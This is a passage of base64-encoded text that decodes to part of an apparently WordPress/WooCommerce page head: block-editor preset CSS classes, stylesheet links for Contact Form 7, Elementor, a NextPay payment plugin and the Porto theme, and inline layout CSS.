AgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItaWNvbnMtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvZWxlbWVudG9yL2Fzc2V0cy9saWIvZWljb25zL2Nzcy9lbGVtZW50b3ItaWNvbnMubWluLmNzcz92ZXI9NS4xNy4wJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLWZyb250ZW5kLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvY3VzdG9tLWZyb250ZW5kLWxpdGUubWluLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1wb3N0LTIxNTItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvZWxlbWVudG9yL2Nzcy9wb3N0LTIxNTIuY3NzP3Zlcj0xNzA5ODc5NDk4JyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tY3NzLXZhcnMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy90aGVtZV9jc3NfdmFycy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdib290c3RyYXAtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9ib290c3RyYXAuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tcGx1Z2lucy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvcGx1Z2lucy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXNob3J0Y29kZXMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9zaG9ydGNvZGVzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLXNob3AtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX3Nob3AuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtZWxlbWVudG9yLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX2VsZW1lbnRvci5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tZHluYW1pYy1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9wb3J0b19zdHlsZXMvZHluYW1pY19zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdHlwZS1idWlsZGVyLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3BvcnRvLWZ1bmN0aW9uYWxpdHkvYnVpbGRlcnMvYXNzZXRzL3R5cGUtYnVpbGRlci5jc3M/dmVyPTIuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tYWNjb3VudC1sb2dpbi1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2Nzcy90aGVtZS9zaG9wL2xvZ2luLXN0eWxlL2FjY291bnQtbG9naW4uY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1wb3N0LTE0My1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9lbGVtZW50b3IvY3NzL3Bvc3QtMTQzLmNzcz92ZXI9MTcwOTg4Nzk3NycgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXN0eWxlLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL3N0eWxlLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8c3R5bGUgaWQ9J3BvcnRvLXN0eWxlLWlubGluZS1jc3MnPg0KICAgICAgICAuc2lkZS1oZWFkZXItbmFycm93LWJhci1sb2dvIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogMTExcHgNCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA5OTJweCkgew0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2UtdG9wIHVsLmJyZWFkY3J1bWIgPiBsaS5ob21lIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaw0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2UtdG9wIHVsLmJyZWFkY3J1bWIgPiBsaS5ob21lIGEgew0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICAgICAgd2lkdGg6IDE0cHg7DQogICAgICAgICAgICB0ZXh0LWluZGVudDogLTk5OTlweA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2UtdG9wIHVsLmJyZWFkY3J1bWIgPiBsaS5ob21lIGE6YWZ0ZXIgew0KICAgICAgICAgICAgY29udGVudDogIlxlODgzIjsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAncG9ydG8nOw0KICAgICAgICAgICAgZmxvYXQ6IGxlZnQ7DQogICAgICAgICAgICB0ZXh0LWluZGVudDogMA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE1MDBweCkgew0KICAgICAgICAgICAgLmxlZnQtc2lkZWJhci5jb2wtbGctMywgLnJpZ2h0LXNpZGViYXIuY29sLWxnLTMgew0KICAgICAgICAgICAgICAgIHdpZHRoOiAyMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLm1haW4tY29udGVudC5jb2wtbGctOSB7DQogICAgICAgICAgICAgICAgd2lkdGg6IDgwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAubWFpbi1jb250ZW50LmNvbC1sZy02IHsNCiAgICAgICAgICAgICAgICB3aWR0aDogNjAlDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAuY3VzdG9tLWZvbnQ0LCAuY3VzdG9tLWZvbnQ0IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFNjcmlwdCcsICdTYXZveWUgTEVUJw0KICAgICAgICB9DQoNCiAgICAgICAgLndvb2NvbW1lcmNlLmFyY2hpdmUgLmNvbHVtbjEgLm1haW4tY29udGVudCB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogMA0KICAgICAgICB9DQoNCiAgICAgICAgLnBhZ2Utd3JhcHBlciB7DQogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aA0KICAgICAgICB9DQoNCiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDE0NDBweCkgew0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCwgYm9keS53aWRlIC5jb250YWluZXI6bm90KC5pbm5lci1jb250YWluZXIpIHsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogNDBweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkIC5lbGVtZW50b3ItdG9wLXNlY3Rpb24gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNDBweDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbi5lbGVtZW50b3Itc2VjdGlvbi1mdWxsX3dpZHRoID4gLmVsZW1lbnRvci1jb2x1bW4tZ2FwLW5vIHsNCiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMDsNCiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDA7DQogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnB4LXNsLTAgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMCAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDAgIWltcG9ydGFudA0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgLnZpZXctc3dpdGNoZXIgbGkubWVudS1pdGVtID4gYSA+IFtjbGFzcyo9J2ZsYWctJ10gew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgI2hlYWRlciAucG9ydG8tdmlldy1zd2l0Y2hlciA+IGxpLm1lbnUtaXRlbSA+IGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuNjI1cmVtOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gLmFycm93O